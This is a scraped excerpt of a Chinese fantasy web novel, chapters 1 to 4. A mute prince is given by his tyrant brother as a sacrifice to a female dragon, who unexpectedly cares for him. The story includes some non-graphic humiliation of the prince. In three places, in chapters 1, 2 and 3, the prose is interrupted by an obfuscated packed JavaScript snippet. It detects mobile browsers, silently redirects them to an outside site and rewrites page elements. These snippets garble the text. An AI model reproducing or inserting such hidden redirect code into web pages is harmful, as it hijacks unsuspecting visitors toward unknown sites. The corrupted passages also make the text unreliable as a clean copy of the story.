《恶龙女士与祭品王子[西幻]》 1. 第 1 章 这太愚蠢了,当第十个少女从灰烬森林毫发无损地回来,希尔弗人才知道他们一直无法取悦的龙是头母龙,祭品一直搞错了,难怪她愤怒焦躁的龙吟未曾停息。 “陛下,是我亲眼看到的,”险死还生的少女气喘吁吁,似乎用尽了所有力气,努力地说出情报,“龙窟内有一面镜子,镜子前有一柄宽齿梳子,绝对是母龙,公龙即便化为人形,也不需要打理头发的啊!只有长头发才用得到那么宽的梳齿!” 希尔弗年轻的王阿利斯塔眯着眼睛,冷静地分析这话。 据古代屠龙勇士大卫所述,龙在不同的形态之下,外表和内部的器官都会发生改变,鳞片会变成皮肤,尖角会变成头发,铁块一样的心脏也会变得柔软,龙变成人时最好杀。 公龙好斗,他们的角在成年之前就会因和其他的龙打架而断裂、脱落。完整的角是母龙的显著特征。那么,母龙化为人后,应该也是长发。 倒是有几分道理。 “只听说过恶龙抢走公主,谁听说过母龙贪恋人类男子的美色么?” 顾问大臣无法回答陛下的问题,只好叫来博物学家。 这位学者胡子一把,带着厚厚的圆眼镜,一副很持重的样子,年龄和外表无形中增加了他的可信度。即便他接下来说的话基本是毫无根据的臆测。 “如陛下所言,公龙经常劫掠人类女子。这个族群本就数量不多,在有温柔貌美的人类作为伴侣选项的情况下,愿意和母龙结合的公龙就更少了。时隔三百年,再次有龙出现在灰烬森林,盘旋在希尔弗上空,还能是因为什么呢?她一定到了求偶期!她就像人类中不受欢迎的老姑娘那样欲求不满。” 在场的人无不认为学者的话有道理,除了那刚刚从龙窟逃回来的祭品女孩。 她暗想,这也太想当然了,为什么要把人类的情感模式强加于龙?再说,就算是人类,也有不想嫁人的。 可在这华丽的宫廷,是位高权重的男人们高谈阔论的地方,没人问她的意见。阿利斯塔陛下的残暴也恶名昭著,她把每个字都咽了下去。 “为了希尔弗不受龙灾威胁,保护百姓的安危,我们选新的祭品吧。说到美貌的男人,我刚好有个人选——”阿利斯塔阴狠地笑了,喉头轻轻滑动,吐出三个音节,“伊瑟恩。” 伊瑟恩,阿利斯塔同父异母的弟弟。 大臣们噤若寒蝉,记忆深处的恐惧被再次唤醒。 他们回想起阿利斯塔的血腥的上位史,他曾在一天之内杀死两位兄弟,隔天,又把同样有继承权的姐姐也处死。 现在,轮到伊瑟恩殿下。 他生母卑微,自己又有残疾,本是对阿利斯塔毫无威胁的人。原来阿利斯塔并没有打算放过他。阿利斯塔不爱任何人,不在意名声,不知怜悯为何物。 可怜的伊瑟恩,他才刚满十八岁。 侍从推开橡木门时,伊瑟恩殿下慌忙藏起了一本书,这是他偷偷溜下塔楼,从藏书室拿的排遣寂寞的读物,一本古代歌谣汇编而已,没有任何危险可疑的内容。 五年前,他被兄长中断了一切教育,阿利斯塔不再给他聘请老师,他远离了所有知识。是以,即便是一本无害的诗集,也是不该出现在他手中的东西。 “陛下有令,明天日出之前送您去灰烬森林,这是您要穿的礼服。”侍从将绣着金线的轻软衣服扔在桌上,嘲弄地说,“恭喜了,殿下,您即将拥有一场难忘的婚礼。” 这件礼服无疑是阿利斯塔对他的羞辱,象征纯洁的白色,睡衣一样的宽松样式,比起男装,更像侍寝奴隶穿的裙子。 婚礼? 要把他送给某个邻国的女王做礼物么?好像诺克雷有位女王。还是说要他去和守卫北境的公爵联姻? 伊瑟恩比划手语的速度比往常更快,骨节分明的手指划出残影。侍从突然抓住他手腕:"省省吧,没人看得懂哑巴说话。" 是的,他是哑巴。有人同情伊瑟恩,但更多的人趁机虐待他。反正他没办法告状,也没人会给他撑腰。在王宫里,没有什么比虐待一位不能反抗的王子更能宣泄压力。 伊瑟恩被侍从推开,他仍想多获取一些信息,喉咙里连含混的声音都发不出来,只是嘶嘶喘气,惹来侍从变本加厉的嘲笑。 “也许恶龙女士能听懂。” 恶龙女士?那是什么意思? 他很快就知道了。 伊瑟恩先是被仆人们抓住手脚,扔到水池中,像洗刷土豆一样毫无尊严地完成了沐浴。然后他们给他涂满了香粉,据称龙喜欢白茉莉的味道。 紧接着,仆人开始一边闲聊,一边漫不经心地给他刮胡子。 冰凉的剃刀贴着皮肤划过,他紧张得直哆嗦,他想起那位并不熟悉的姐姐,玛格丽特公主的喉咙就是被这样的小刀割开的。刀片很短,但连带刀柄一起深深插进了气管里,她挣扎着想要呼吸,却喷出了更多的血。 刀片划伤了他的下颌。 “哎呀,别乱动!真是的。” “没事,不明显。你说他能讨好一条母龙么?龙变成人形是不是也比人类男子高大?” “那谁知道呢,”仆人突然看向伊瑟恩腿间,戏谑地说,“如果我们的殿下努力摇动屁股的话,应该问题不大。” 话语渐渐不堪入耳。 原来是龙。 被送给龙也好。龙身边也没有复杂的人际关系与权力斗争,他只需要服务好她一个。要死的话也比较干脆,龙焰一秒钟之内就能让他灰飞烟灭。 意识到他脑子里产生了侍奉一条母龙的念头,他为自己的软弱感到羞耻,他居然没想过逃跑或反抗,真的在想该如何努力……摇动他的…… 阿利斯塔成功了。 他毁掉了伊瑟恩全部的自尊心。 意识到这一点后,伊瑟恩蓝宝石一样的眼睛里流下一滴泪水。可是,在仆人发现他哭之前,他又把眼泪偷偷擦干。 伊瑟恩在黎明时分被扔下马车。士兵用剑柄戳他的脊背,逼他往飘着灰雾的林间走。他不用这样做伊瑟恩也会走向自己的命运,是以伊瑟恩转过身用双臂在空气中愤怒地一挥,做了一个闭嘴的手势。 “真是难伺候。”士兵咕哝一声。 焦黑的树桩像被雷劈过的巨人手指,扭曲地指向天空。伊瑟恩赤脚踩在灰烬里,每一步都激起细小的烟尘,地面的触感十分柔软,伊瑟恩裹紧丝绸袍——这衣服和裸体没什么区别,他感觉特别冷,只有脚下的灰烬是温暖的。 他停在了古老的圆形祭台,祭台的造型又像餐盘又像床,士兵把他捆在石柱上,转身离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265977|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “祝您好运,殿下。” 树林深处传来恐怖的鳞片摩擦声,年轻的王子完全僵住,他闻到硫磺味,身边的尘埃开始打着旋飞起。 “这样的愚行还要重复多少次。” 露维亚说的是龙语,她知道对方听不懂,但还是发出抱怨。 “没有人能解除诅咒,没有人。这次肯定也一样。” 龙毫无征兆地把头颈伸到了伊瑟恩的面前,眼睛像融化的黄金,鳞片是半透明的红色,宛如被冰冻住的火。完整的龙角闪着光,呈现象牙般的质地。 “男人?” 分辨人类的性别很简单,只需要听他们喊“救命”时的音高。可是这个人根本不说话。 她的鼻子翕动着,闻嗅被茉莉花粉盖住的人类体味。脖子,胸口,腹部,不断地向下。 伊瑟恩终于发出了一声抗拒的低呼,更像一声哼哼。他本能地想躲,可这番挣扎只让他暴露出更多苍白的皮肤。那些被仆人们用硬毛刷擦出的红痕,清晰地映入龙的竖瞳里。 露维亚愣了一下,伸出舌头,开始舔舐他。 痒…… 她难道想吃掉自己么? 龙冰冷的舌头蛇一样地在他身体上蠕动,留下湿漉漉的涎液,当舌尖抵住他被严苛的清洁仪式弄破的创口,伊瑟恩整个人向上弹起又被龙爪摁回去。 陌生的触感带来强烈的心灵震颤,混合着恐惧,以及不合时宜的身体反应带来的耻感。他不知道该哭还是该笑。伊瑟恩后悔自己把服侍一条龙这件事想得太简单。 他无助地喘息,直到他发现龙停了下来。同时,所有的伤痕都愈合了。 没想到,这么多年来伊瑟恩再次体会到善意,竟来自一条龙。 “上次那个女孩身上至少还偷偷藏了把小刀,想着实在不行与我鱼死网破。你呢,你为什么一脸听天由命?弱者。” 龙有自己的语言,人类听不懂。伊瑟恩感觉这条龙有点“健谈”,她碎碎叨叨的,喉咙一直在闷雷似的作响,喋喋不休。 他猜测她是想听到一声“谢谢”之类的话。可是伊瑟恩是个哑巴。能帮他表达心声的手臂也被绑着。 这时,露维亚用牙齿咬断了捆绑着他的绳索。 “第十一个。鉴于你是个弱小可怜的东西,我就不带你飞去龙窟了。反正去了也不过是让我又失望一次。你肯定会忍不住回应镜中幻象。” 龙吟阵阵,她的咆哮声使伊瑟恩意识到,他的沉默对龙的威严也许是种冒犯。于是他开始快速地打手语。 他指向自己,然后摇了摇手,伸出食指围绕嘴边画圈,又摸向喉咙。 “你不会说话?”露维亚感到惊讶。 伊瑟恩指了指自己的头,他想说他意识到了自己错了。 他在空气里比划着“对不起”和“谢谢”。为了让龙看清,他的动作幅度很大,有点像乐队指挥,又像某种神秘舞蹈。 “我可真是幸运。不会说话的人,就不会被镜子蛊惑。” 露维亚改变了想法,用尾巴卷起伊瑟恩的腰,腾空飞去。 然而,她不知道伊瑟恩很久以前是会说话的。 很久以前,是多久以前?伊瑟恩自己也忘了。他在风中默默地流泪,他终于开始哭了,毕竟,龙又不会嘲笑他。 2. 第 2 章 龙窟位于灰烬森林的尽头,它几乎是一整座山,炽热的龙焰熔化了山体内部的岩石,犹如老树被雷击后,烧空了心。 是以龙窟的内部光洁异常,有点像火山爆发时形成的天然玻璃,地面与四壁无论颜色和质地都很像黑曜石,滑溜溜的,还有一点冰凉。 伊瑟恩对龙窟内部的简约、整洁感到诧异,他每走一步都会在地面留下一个沾满灰烬的脏脚印,心里暗暗地感到羞耻,他像个被慷慨主人请进家门的流浪汉。 一低头,他竟看到光可鉴人的地面映出了自己的裙底,他尴尬得僵住了。 露维亚见人类久久地不动,用翅膀弯折处的翼骨推了推他。 “第十一个,”她傲慢地称呼他,“现在逃跑已经来不及了。” 伊瑟恩耳听身边的巨龙低语,凝望着她锋锐的竖瞳,心想,她看自己应该和看小动物没区别吧。 于是他克服心中忸怩,随龙的指引,迈开步子,去往洞穴深处。 令伊瑟恩意外的,这里没有成堆的金银珠宝,也没有森森白骨,只有一面椭圆形的镜子,还有一把宽齿梳子静静地躺在镜前。 这时,伊瑟恩才对“恶龙女士”是女性产生了实感。他下意识想挡住两腿之间的影子,转念又觉得别太把自己当回事了,既然来到了这里……他会顺从。 但愿别太疼。 露维亚不知这个人类表情变来变去是在想什么,单看他捏着薄薄的丝绸袍,还以为他冷,于是她轻轻地打了个喷嚏,召出一小团火焰,环绕在他周围缓慢地飞转,如赤色的蝴蝶。 “我完全不在乎你的死活,不过,看在你也许有用的份上,你最好多活几天。” 伊瑟恩局促地比划出“我会听话”,动作很像邀请她来把自己吃掉。 龙与人之间进行着无效的沟通,露维亚黄金般的眼眸突然翻向不可思议的角度,虹膜上光芒流转,她在检索自己芜杂的记忆。 “原来饲养人类并不复杂,食物、水、温度、卫生的环境、充足的睡眠、适当的运动,以及愉快的心情。” 她轻蔑地一哼:“低级生物是这样的。” 露维亚伸出前爪,在地面上轻轻一踩,形成圆形的魔法阵。然后,她用尾巴勾住伊瑟恩的手,把他拽到法阵旁边,示意他把手放到法阵中央。 伊瑟恩照做。 法阵迸发出耀眼光芒,片刻后,一本书出现在他面前。 伊瑟恩惊讶地发现这就是他出发前慌张藏起来的那本古代歌谣。 意识到这是一份礼物,他茫然地做出谢谢的手势。 露维亚比他还要惊讶。她做这个法阵是为了满足他的生活需要,节省自己的时间与精力,类似自动喂食器。可他抓出来的不是食物,也不是饮品,而是一本书? 至此,露维亚耐心耗尽,没再多想,教会了就行。 她把伊瑟恩留在了龙窟,独自向远方飞去。 龙走后,龙窟便暗了下来,只剩围绕伊瑟恩飞旋的那朵火花照明,如黑夜中的一颗小星,红亮的光焰映在冰冷的无机质洞穴上,有种幽幽的神秘感。 他走到哪里,火花就跟到哪里,刚好够他看清眼前。 出于礼貌和敬畏,伊瑟恩不敢碰龙女士的镜子与梳子,站在一旁默默观察。 他看到镜框由银色的金属制成,花纹繁复,风格与他所知的任何一个时代都不同。当然,十三岁后他一直住在塔楼上,没看过太多好东西,见识不足。而镜心则是某种流动反光的物质,仿佛垂直于地面的一座深潭。 绕到镜子背后,伊瑟恩发现了弯弯扭扭的符号,他认出是古语真言,据说是神明亲自创造的语言文字。可他只认识一个单词:惩罚。 仅仅在心里念了一遍这个词,它的含义就令他不由自主地哆嗦。好在龙女士留下的火焰持续地温暖着他,让他没那么害怕。 低下头细看发梳,伊瑟恩首先闻到一股危险的硫磺味,细嗅又有点好闻,像是由名贵的木料制成,浸着一层细腻的油膏。不像是护发油,更像人们冬日往皲裂皮肤上抹的那种动物油脂。 梳子齿非常宽,如果龙女士化为人形后是长发的话……伊瑟恩想到了童话故事里的公主,她的头发一定能梳成好几股麻花辫,长长地垂到地上。 但是,他很快撕毁了这个想象。龙女士怎么会被关到塔上等着人来拯救呢?她的翼展若垂天之云,长吟如夏夜惊雷,鳞片坚硬胜过任何铠甲,口中喷吐净化一切的烈焰……她的龙涎还有治愈功能。 那么她的长发就不会是供恋人攀缘的绳梯。也许会更像鞭子? 就这样,伊瑟恩在龙窟中兜兜转转,观察着、猜测着。很快消耗掉了早上充饥吃的一点点饼干,胃里空空如也。 他回到了魔法阵处,犹豫了一下,把手掌摁上去。 一阵强光之后,法阵中央出现了他馋了很久的黄油烤南瓜,还有一份鱼肉。橙色的南瓜和白色的鱼肉摆在一起可谓相得益彰,他差点鼻尖一酸,又哭一场。 为什么…… 到底为什么龙女士要对自己这么好。 她一定搞错了……他根本不是什么高贵的王子,他只是个谁都可以欺负的小哑巴。 一瞬间,伊瑟恩产生了非常廉价的感情,他自己也知道这很没出息。但他确实想要回报她。 疼一点也可以。 露维亚不知道自己新抓回来的祭品会在龙窟里想这么多,她飞入了极北之地的冰晶海,狩猎霜脂巨鲸。 她需要用霜脂巨鲸的脂肪炼油,养护自己巨大的龙角。与那些愚蠢的公龙不同,露维亚认为在无意义的同类争斗中折断龙角是十分可笑的行为。她要用完整的龙角打败真正的敌人。 露维亚悬停于冰晶海上空,找到潜游在冰底的阴影。她将双翼收到身侧,精准地向下俯冲,从齿间喷出一道龙焰,热力撞向冰层薄弱处。 冰与火交界处发出强烈的爆破声,坚冰瞬间变成滚烫的蒸汽,又在寒冷的空气里液化成浓白的雾。 银亮的巨鲸来不及躲避,刚刚察觉危险,火柱便已贯穿它的咽喉。 露维亚用龙爪撕开霜脂巨鲸的腹部,雪白的脂肪层冒着热气,着实可爱,她轻易地将之剥离。 游戏般的战斗令她心情大好,也因为看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265978|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破解诅咒的希望。 这时,她感知到那个人类正在使用法阵。 “既然吃了我的东西,总该帮我做点事,”露维亚没有同伴,是以习惯了自言自语,“我早就厌烦了梳头。” 龙形态时,她身形庞大,不够灵活,无法用油脂抹匀龙角。人形态时,龙角所化的头发又太长,每次梳头都要耗费整整两天时间。 “有个仆人也不错。” 她希望这个人类聪明一点,能领会她的指令,不要再用那双蓝宝石一样的眼睛惶惑而无辜地看着她。 “啧,要是听不懂可怎么办……” 露维亚又觉得不该太贪心。能解决一个问题就算很不错了,毕竟,他只是人类而已。 巨龙飞过天际,龙吟从头顶传来,地上的人们无不仰头观看,揣测龙的心意。 “龙到底想干什么呢!这恐怖的声音简直来自地狱!”一个男人愁眉苦脸地说。 刚刚从井边打水回来的少女分享她所知的消息:“听艾达姐姐讲,那是条母龙,国王陛下把伊瑟恩王子送给她了。但愿王子能让她高兴一点。” 谁料,这男人更加害怕,忙往建筑物的阴影里缩了缩,口中喃喃:“母龙!天呢!母龙!它岂不会抓走所有看上的男人,让我们排着队伺候它!这淫-荡的蜥蜴!” 少女上下打量了他一番,翘起嘴角一嗤,安慰他道:“哪里轮得到你害怕。你既不英俊,又不强壮,还是个胆小鬼。” “啊!你这丫头!” 少女抱起水罐往家走,把男人不满的叽咕声甩在身后。 王宫中,阿利斯塔陛下正在听诺克雷使者长篇大论,有些心不在焉。 “你们的女王戴安是个挺不错的女人,我见过画像,”他突然打断对方,视线越过使者,看向不知道什么地方,仿佛在回忆她的样貌,“令人惋惜的是她长了一头胡萝卜色的头发,还有个可笑的蒜头鼻子。这张脸刚好熬一锅蔬菜汤。” 他哈哈大笑,旁边着彩衣的侏儒弄臣也跟着笑,显示与主人同频的幽默感。 使者遭受如此羞辱,面色涨红,质问:“陛下!这就是希尔弗对诺克雷的态度么!这简直是宣战!” 阿利斯塔不以为意地一摆手:“随你怎么想,使者先生,回去告诉你的丑八怪主人。北境的索鲁人是流浪民族,不归希尔弗管,他们抢劫你们,你们就自己去抢回来,别跟我要公道,我又不是她的丈夫。” 说罢,他又故作悲悯地叹了口气:“抱歉,我忘了她的丈夫死了,我不该对可怜的寡妇说这些。” 使者几乎是从牙缝里挤出一句:“我会原封不动地把您的话转告我王。希望您永无悔改。” “我何必悔改。” 他仿佛听了什么很可笑的话,如大猫一样融化在铁王座上,坐没坐相。 “我是整片大陆唯一得到神眷的王。” 是的,阿利斯塔得到了神眷。 但他不会告诉任何人这神眷是怎么来的。他杀死了两个兄弟,一个姐姐之后,也没人会再问他那两个未婚的妹妹去哪儿了。 人们只当她们都死了。 3. 第 3 章 回到龙窟,露维亚把巨鲸的脂肪高挂在洞穴顶部,释出一小簇火,温度让这些脂肪缓慢地融化,滴落到下方的凹岩中。 “明天开始你要帮我涂油。把油,”她抬爪指了指,“均匀地抹在角上,懂么?” 伊瑟恩什么也没听懂,但他的表情极度乖巧,双手如虔诚祈祷般握在胸前,轻轻点头,成功安抚了露维亚的狂躁,让她多了点沟通的耐心。 “嘀嗒——嘀嗒——” 距离油脂完全融化还要大把时间,距离夜晚到来,验证这个人类到底有没有用也还有半日光景。露维亚不喜欢干等着。 “好吧,也许我该带你去消消食。”就像遛狗?她不太确定。 露维亚在法阵旁另辟了一个传送门,尾巴一卷,勾住伊瑟恩的细腰,把他带到她的岛。 咸涩的海风拂过伊瑟恩的金发与睫毛,湿热的空气让他不太适应,他不禁颤抖,可露维亚故意侧翻,作势要把他抛向海中。 伊瑟恩害怕得闭紧了眼睛,大口大口地喘气,手脚在空中晃荡着乱扭,却不曾发出尖叫。 “你有点奇怪。”露维亚放慢了速度,降低飞行高度,“好像不仅仅是声带受损。” 她稳稳落地,松开伊瑟恩,让他自由活动。伊瑟恩双腿发软,趴在地上缓了一会儿,才站起身观察这里。 小小的一座岛,中间隆起小丘,绿意盎然,东侧长满高树,西侧则遍布低矮的灌木,芦荟、火桶树,叫不出名字的各种蕨类,以及大片大片的茉莉。 露维亚跟着他走了一会儿,嫌人类步子太小,便轻拍翅膀,独自飞去岛屿另一边。 伊瑟恩有种被抛弃的恐慌感,但很快他意识到并非如此,他能听到龙吟,以及鳞片与枝叶摩擦产生的窸窸窣窣。 他还在脚下发现一把铲子。 想清楚铲子的用处后他不由脸红。转念又觉得龙女士可真贴心,她站在人类的角度,替他考虑到了一切,还照顾他的自尊心,留他一个人解决。 处理好一切之后,伊瑟恩走到海边,把小腿浸泡到水中。 海水被太阳晒得温热,轻微的浮力让他感到放松。他抱膝而坐,遥望海天相接的地方,长松一口气。 总算离开了阿利斯塔。 阿利斯塔不仅冷漠、残忍、多疑,还迷恋戏剧化的刺激,行动不可预料。他逼迫丈夫蒙着眼去杀害心爱的妻子,在别人痛苦崩溃的时候哈哈大笑。也会安慰因思念家乡而哭泣的中年侍女,赏赐她与体重相等的黄金,让她别再哭了。 伊瑟恩完全不理解自己的兄长,就像人无法理解叵测的天灾。 阿利斯塔绝对不正常。 又晒了一会儿太阳,他养足精神,开始在岛上游逛。他小心避开脚下的荆棘,好奇地用手指轻抚覆盖着柔软银绒的叶片。岩石与灌木间,藏着些叫不出名字的浆果,他犹豫了一下,没有去摘。转而把手攀到了茉莉花枝上。 龙女士喜欢茉莉花。 他试着用这些植物编织花环。他先做了一个小的,戴在自己头顶。又用同样的手法,不断加入柔软的嫩枝,把花环编得很大,每个缝隙里都插了两三朵白色的小花。 花香清冽沁心,他闻了闻,情不自禁地闭目,再睁开眼时,一只黄蝴蝶忽地从他手背掠过,吓了他一跳。 然后他对着空气笑了。 真好,还活着。 露维亚在岛的另一侧大快朵颐,她伸出爪子,随手捞起几条海鱼,轻轻一扭,三角形的鱼头骨碌骨碌地滚落,鱼身吞入腹中,鱼头滚回海里。 然后她回到岸上,找到一棵高树,抬起后腿猛踹树干,鸟鹊惊飞,红艳的树果簌簌坠落,她在树下张大嘴巴,吃了个饱。 她用锋利的趾爪叉起三颗果实,仿佛用短刀把果实串成一串。 “没吃过吧!”她得意洋洋地把果实往伊瑟恩面前一送,“这是我的岛屿,任何人类船只都无法……” 没把这句话说完,她发现了伊瑟恩手中的花环。金瞳困惑地一缩:“这是什么丑东西。” 伊瑟恩趁她低头观察的空档,踮起脚,把“丑东西”戴到了她的额头上。花环还是有些小,伊瑟恩伸开手臂仍不够高,没办法把花环套到角上。在露维亚的视角里,这个人类把花环放到了她隆起的眉骨中间。 真是岂有此理。 但是他自己头顶也戴着相同的东西。 莹白的茉莉花衬得这人类青年金发愈加闪耀,如一丛流泻的阳光,蓝色眼眸里漾起笑意。 露维亚勉为其难地接受了。她扬起爪子示意,催他快点把果子摘下来。不然汁水会让她的鳞片发粘。 伊瑟恩把双手交叠放在心口,然后慢慢分开,手背朝露维亚的方向送,有种掏出心给她看的感觉。 “哦,所以这个动作的意思应该是感激。” 她把新的知识储存到记忆中。龙的寿命很长,记忆力很好。如若赋予每条记忆同样的重要性,时时回想,哪怕是龙的心灵也会过载。 正如富有的人不会去数仓库里到底有多少粒米,露维亚只在有需要的时候调取这些记忆碎片。 她记住,就永远记住了。但几乎也等同于遗忘了。 伊瑟恩吃到了此生吃过的最美味的水果,鲜红的汁水像血一样横流,突然,他意识到自己真的在流血。 血从鼻孔、耳道,甚至还有眼睛里流出来。就好像他的体内有什么东西在溃烂,他眼前的世界被恐怖的红色蒙住。 隔着一层血色,他逐渐视线模糊,龙的鳞片变成皮肤,尖角变成头发,利刃般的趾爪变成血肉丰满的手。 在看清龙女士的面容之前伊瑟恩便晕了过去。头顶的茉莉花冠掉到地上。 哎呦,还以为很好养呢。 露维亚思索了片刻,得出结论:“我的果子当然没问题!要怪第十一个之前的食谱不对,他吃了太多人类不该吃的东西才会这样。” 好在帮他解毒也不算太麻烦。 露维亚抓住伊瑟恩的脚踝,轻轻一提,再一甩,把这男人扛到自己的肩膀上。她化人后个子实在不矮,是个塔一样高大的女士,肌肉量足,但在肌肉之上还覆盖着柔软的脂肪,健康丰腴。象牙色的长发几乎拖到小腿肚,微微打卷,呈现粼粼波光,像条倒悬的白色湍流。 如果伊瑟恩醒着,会看到一张桀骜不驯的脸,鼻梁高直,眼睛大而眼尾尖利上挑,金色瞳孔保留着龙的特征,神秘至极。 希尔弗的学者是多自以为是才会觉得龙会迷恋人类的美色啊!不同物种本就有着不同的审美取向,世间只有人类觉得自己是万物的尺度。 总之,人形态的露维亚比伊瑟恩大了一号,她把掉在地上的两个花冠捡起来,套在手臂上,另一只手扶着他的膝盖窝,轻而易举地带着他爬到岛屿中部的小丘,拨开杂草与藤蔓,来到一眼泉水汇聚成的小潭。然后,她把他丢进水中。 伊瑟恩在做一个关于溺水的旧梦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265979|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“救我,救我……我不想死!” 应该挣扎,大声呼救。但是不可以呼救,妈妈说过,不要发出任何声音。 但是为什么不能发出声音?妈妈……妈妈长什么样子来着?他拼命地想要回忆起来,却有什么看不见的东西在阻止他这样做。 岸上的人是谁,为什么冷笑着看着他…… 死不了的,人死的时候不是会如走马灯一般自动进入回忆么?想不起来的话,就说明还没到时候。呼吸,想办法呼吸,浮起来,想办法不要沉没。 可是他还在向下、向下……噩梦根本没有底。 露维亚跳进水潭,向下潜游,伸出双手,圈住伊瑟恩的腰,把他带出水面。 她开始认真观察这个可怜巴巴的人类。 苍白、纤细,像是用白瓷做的,一碰就碎。以龙的眼光,伊瑟恩谈不上美或丑,他和“脆弱”这个词绑定在一起,一切都没意义了。 可露维亚无端地看他挺顺眼,也许是因为他看上去比较亮。脸庞挂着水痕,如同花瓣上的闪闪的晨露,湿漉漉的头发在反光,几乎璀璨如金。 龙就是喜欢亮晶晶的东西嘛。 她允许他枕在自己大腿面上。 公龙经常掳掠人类美女,不是为了吃,更不是为了可笑的爱情,而是他们不得不听命行事。 世世代代的龙都是神的仆从,母龙为神王拉车,巡行天际。公龙则为神王捕捉美丽纯洁的少女,令她们有机会成为荣耀的“神妻”。 露维亚的父亲怜悯人类,把真相告诉了年轻的人类女孩,却被赶来营救她,且不知前因后果的勇士大卫杀死。被他一剑刺穿了心脏。 这种悲剧的死法令露维亚的母亲困惑且痛苦,但龙的智慧让她很快意识到真正的仇家是谁。 她试图联合龙族,推翻神王。摆脱被奴役的宿命,得到真正的自由。可这个危险的提议没有得到同族的回应。 “迦娜,这行不通。你若生气,下界灭掉一个国家,都不会有谁说你什么,神王大人仁慈,祂定能理解你的丧偶之痛。” “祂对我们已经够好了,是图尔有错在先。他办事不力,轻信人类,人类就是很狡猾,不懂感恩的生物啊!” “是啊是啊,咱们没必要去冒险。除了你们这些不会打架的母龙,谁的角是完整的?没有武器,如何战斗?” “迦娜,不要痴心妄想了。你的母亲一生都在为神王拉车,你的父亲至少帮神王选了十个候选神妻,要说有错,我们全都是同谋共犯,骨子里流着罪血。你现在说要反抗,岂不是很可笑么?” 否定的声音已令她心寒,背叛与告密则接踵而至。 神罚降临,露维亚亲眼看着母亲化为无边血雨,灰飞烟灭。 天空中传来母亲最后的遗言,声音轻得像一缕微风:“露维亚,把你的角养得再锋利一些。” 露维亚低头看了看伊瑟恩无辜的脸,有些理解父亲为什么会对人类于心不忍。这家伙无知无觉,双目紧闭,嘴唇微微张开,手臂自然下垂,一半没在水里。神态像个更小的孩子。 “但是现在不一样了。神明把我驱逐出神境,派一面镜子折磨我的灵魂,以为我会心碎、迷茫、悔罪。真好笑,我可是条真正的龙。” 同族指望不上,还可以靠自己。 谁说她不会打架,没有武器? 她捋了捋自己柔韧的、在人间养了三百年的头发,自信心疯长,“且等着瞧吧!” 4. 第 4 章 伊瑟恩在露维亚的怀里醒来,当然,露维亚已经切换回了龙形态。他被龙女士圈在两条前爪中间。 鳞片很硬,隔着鳞片又感受不到她的体温,这样的怀抱实在不算温柔,却有种奇异的安全感。像小老鼠找到了一个合适的岩洞,刚好够他容身。 龙女士吃饱喝足,在地面上打着盹,她的身形像一座小山。威风凛凛的龙盘踞在风景秀丽、如同镀了翡翠一样的海岛上,很是相宜。 他歪头回想,脑海中浮现出龙女士朝他伸来的手臂。 刚才他好像流了很多血。此刻衣裳却干干净净,身体也轻盈了很多。他有些好奇发生了什么,不过,肯定问不明白,龙女士也不一定有心情向他解释。 总之结果好就可以了。那果子并没有对他造成什么损害。 花环呢? 啊,原来两个花环都被龙女士套在了角上。有点像骑士在比武大会上的长枪,他们会把心上人送的丝带、手帕之类的礼物缠绕在上面。 当然,他没自恋到觉得龙女士喜欢他。他只是认为这是件好事,她收下了自己微不足道的礼物,意味着接纳。 露维亚觉出人类在绕着她走动,慵懒地掀开眼皮,用尾巴去戳他的腰窝。 伊瑟恩对她笑笑。 “既然没事了,那我们回家。” 这次,露维亚没有飞起。而是照顾伊瑟恩的习惯,把传送门开在了比地面略高一点的地方。这样他就能自己来溜自己。 这座岛比环绕大陆的风波之海还要远,在人类的认知中已经在世界尽头,根本不怕他跑。 露维亚先做示范,从传送门穿行过去。伊瑟恩有样学样,也跟着她,抬起腿往传送门里迈。他觉得自己像只跟在母鸭后边的小鸭子,这种联想使他嘴角上扬。 伊瑟恩从来没有在一天之内笑过这么多次,以至于脸颊的肌肉有些发酸。 他现在已经高兴得过了头。 因为得到了善意,以及生存保障,他就感动得忘乎所以,以为自己是世界上最幸运的人了! 脑海里突然有个紧张的声音警告他:清醒点,伊瑟恩,这个世界上有谁会一直对你好。 万一,她是想把你养肥了吃掉呢?或者,她也许会让你死在夜晚,那可是龙,你完全不知道她喜欢怎样的交-媾方式。 你怎么可以这么得意忘形! 与其说伊瑟恩在怀疑龙女士,不如说他在习惯性地轻视自己,觉得自己不配得到好的对待。 如果一个本性温和的人在恐怖、高压的环境中长大,他便很难不形成这样的性格。 这样的想法令他消沉。 